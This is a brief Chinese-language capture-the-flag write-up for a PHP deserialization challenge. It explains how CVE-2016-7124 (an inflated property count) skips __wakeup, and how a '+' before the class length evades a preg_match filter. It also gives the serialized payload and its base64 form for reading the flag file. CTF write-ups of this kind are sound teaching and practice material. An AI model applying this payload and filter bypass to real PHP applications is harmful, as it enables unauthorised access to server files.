原题
解题思路
注释说了flag存在f14g.php中,但是在wakeup函数中,会把传入的文件名变成index.php。看wp知道,如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup 失效(CVE-2016-7124的漏洞),所以这题其实是一个反序列化的题目。 preg_match 函数判断是否包含类似 o:2的字符串,如果存在则中断程序执行,否则调用 @unserialize 函数进行反序列化操作。
初始POC构造为O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}。为触发漏洞改为O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}。绕过preg_match 函数O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}(加上"+")。再用base64编码TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==